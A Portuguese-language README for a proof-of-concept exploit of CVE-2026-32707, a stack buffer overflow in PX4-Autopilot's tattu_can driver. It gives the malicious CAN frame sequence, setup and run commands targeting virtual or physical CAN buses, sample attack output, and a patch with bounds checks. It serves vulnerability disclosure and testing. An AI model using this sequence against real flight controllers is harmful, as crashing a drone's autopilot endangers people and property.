
Prova de conceito de exploração para CVE-2026-32707, um estouro de buffer na pilha no driver tattu_can do PX4-Autopilot, causando negação de serviço por meio de quadros CAN maliciosamente elaborados.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operador : Mohammed Idrees Banyamer • Jordânia 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
Este repositório contém um exploit de prova‑de‑conceito (PoC) para CVE‑2026‑32707, um estouro de buffer baseado na pilha no driver tattu_can do firmware do controlador de voo PX4‑Autopilot (versões ≤ 1.17.0‑rc1). A vulnerabilidade reside na rotina de montagem de mensagens multi‑quadro: ao remontar uma estrutura Tattu12SBatteryMessage na pilha, o driver executa operações memcpy() sem limites, sem verificar o deslocamento acumulado em relação ao tamanho do buffer (48 bytes). Um atacante com capacidade de injetar quadros CAN no mesmo barramento pode acionar o estouro, causando corrupção da pilha e consequente travamento (Negação de Serviço) do processo PX4.
sequenceDiagram
participant Attacker as Atacante (Nó CAN)
participant CANbus as Barramento CAN
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Quadro de início (DLC=8, data[7]=0x80)
CANbus->>PX4: Início de transferência recebido
PX4->>PX4: Buffer tattu_message (48 bytes)<br/>Deslocamento de cópia = 5 bytes
loop Quadros de estouro (7x)
Attacker->>CANbus: Quadro de estouro (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Quadro de estouro final (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → ESTOURO DE PILHA
PX4-->>PX4: Travamento (segfault / hard fault)
Note over PX4: Negação de Serviçotattu_can habilitado3f04b7a)python-canCAP_NET_RAW) para enviar quadros CAN brutoscan0 ou virtual vcan0)# Clonar o repositório
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# Instalar python-can
pip3 install python-can
# (Opcional) Criar uma interface CAN virtual para testes
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <interface_can>
# Explorar via interface CAN virtual (para simulação/testes)
sudo python3 exploit.py vcan0
# Explorar via barramento CAN físico
sudo python3 exploit.py can0
0x80, o que sinaliza ao driver para começar a montar uma nova Tattu12SBatteryMessage e copia os primeiros 5 bytes para o buffer da pilha.memcpy() que escreve além do limite do buffer, corrompendo o quadro da pilha.[*] Enviando quadro de início de transferência em vcan0 (can_id=0x00000123)
[*] Enviando 7 quadros de estouro (cada um copia 7 bytes)...
[*] Enviando quadro de estouro final...
[+] Sequência de ataque concluída. O driver tattu_can do PX4 deve travar agora.
tattu_can se não for necessário (tattu_can stop ou remova da compilação).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aEsta prova‑de‑conceito é fornecida apenas para fins educacionais e de teste de segurança. Use‑a somente em sistemas que você possui ou para os quais tenha permissão explícita de teste. O autor não é responsável por qualquer uso indevido ou dano causado por este código.